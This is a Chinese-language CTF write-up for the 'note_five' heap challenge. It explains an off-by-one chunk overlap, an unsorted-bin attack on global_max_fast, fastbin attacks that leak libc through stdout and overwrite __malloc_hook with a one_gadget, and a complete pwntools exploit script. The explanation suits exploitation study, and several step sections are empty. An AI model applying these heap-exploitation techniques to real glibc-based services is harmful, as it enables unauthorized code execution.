每到接触新知识得时候总要花不少力气搞懂(汗,这题是关于改写global_max_fast 再通过fastbin attack来getshell, 总结一下学到的知识点和解题思路
思路:
这题限制了chunk的size, 大小为0x8f~0x0x400,在edit info 函数处存在 off-by-one 漏洞,通过这个漏洞可以改写chunk的size
一开始的思路是创建几个chunk,然后通过修改chunk的size,使一个chunk即存在于fastbin与unsortedbin中,之后通过_IO_2_1_stdout_ 泄露libc地址, 最后就是覆写__malloc_hook为one_gadget 来getshell
但是当我把脚本写到使一个chunk同时存在于fastbin与unsortedbin中是, 发现题目限制了chunk的size, 所以不能直接利用fastbin attack。。(呆住
看了其它大佬的wp后按照他们的思路在想一遍
步骤:
具体实现:
原理:
由于chunk2的标志位为0, 这代表chunk1为free掉的chunk,但实际上并没有对chunk1进行free操作,所以chunk1 的指针可以被利用
free chunk2时会进行合并操作,根据prev_size找到前一块chunk的地址,然后将前一块chunk 的size改写为合并后的size,由于prev_size 被我们改成了0x140,所以合并后的chunk 包含了chunk0, chunk1, chunk2
改写之后再次创建一个大小0xe8 的chunk, 编号为4,触发unsortedbin attack 将global_max_fast 改写成一个很大的数, 那么之后的chunk都会被视作fastbin了
3. 利用fastbin attack 改写_IO_2_1_stdout_结构体泄露libc地址
4.有了libc地址接下来就是覆写__malloc_hook了,但是有个问题,IO_2_1stdout 中可以构造size为0xf0 的chunk, 但是附近malloc_hook没有合适的chunk可以构造,但是__malloc_hook前面存在_IO_2_1_stdin_ ,stdin中存在0xffffffff, 这样可以现在stdin中创建一个chunk,再在__malloc_hook 附近写入0xf1, 之后再次进行fastbin attack 即可覆写__malloc_hook 了
往stdin 写入0xf0 后可构造chunk
5.由于one_gadget 失效,所以需要利用realloc来调整, realloc_hook 覆盖为one_gadget , malloc_hook 覆盖为realloc+x , 这题x为13 可以getshell
EXP:
from pwn import *
import struct
context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 0
if debug == 0:
p = process("./note_five")
if d == 1:
gdb.attach(p)
def new(idx, size):
p.sendlineafter("choice>> ", str(1))
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
def edit(idx, content):
p.sendlineafter("choice>> ", str(2))
p.sendlineafter("idx: ", str(idx))
p.sendafter("content: ", content)
def delete(idx):
p.sendlineafter("choice>> ", str(3))
p.sendlineafter("idx: ", str(idx))
new(0, 0x98)
new(1, 0x98)
new(2, 0x98)
new(3, 0x98)
delete(0)
edit(1, 'a'*0x90 + p64(0x140) + p8(0xa0))
delete(2)
new(0, 0xe8)
edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
new(4, 0xe8)
delete(4)
edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
new(2, 0xe8)
new(4, 0xe8)
edit(4, 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x40' + '\n')
leak = p.recvline()[:8]
print "leak-> " + leak
libc_addr = struct.unpack(", leak)[0]
print "libc_addr-> " + hex(libc_addr)
libc_base = libc_addr - (0x7ffff7dd2640 - 0x7ffff7a0d000)
libc = ELF("notefive_libc.so")
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
stdin = libc_base + libc.symbols['_IO_2_1_stdin_']
print "one_gadget-> " + hex(one_gadget)
print "malloc_hook-> " + hex(malloc_hook)
print "realloc-> " + hex(realloc)
print "stdin-> " + hex(stdin)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
delete(2)
edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(stdin + 0x8f) + '\n')
new(2, 0xe8)
new(4, 0xe8)
edit(4, 'a'*0xe0 + p64(0) + p64(0xf1) + '\n')
delete(2)
edit(1, 'a'*0x40 + p64(0) + p64(0xf1) + p64(malloc_hook - 0xb1) + '\n')
new(4, 0xe8)
new(4, 0xe8)
edit(4, 'a'*(0xb1 - 0x8 - 0x10) + p64(one_gadget) + p64(realloc + 13) + '\n')
#raw_input()
p.sendlineafter("choice>> ", str(1))
p.sendlineafter("idx: ", str(4))
p.sendlineafter("size: ", str(0xe8))
p.interactive()
结果:
参考wp:
http://blog.eonew.cn/archives/1220
unsortedbin attack:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/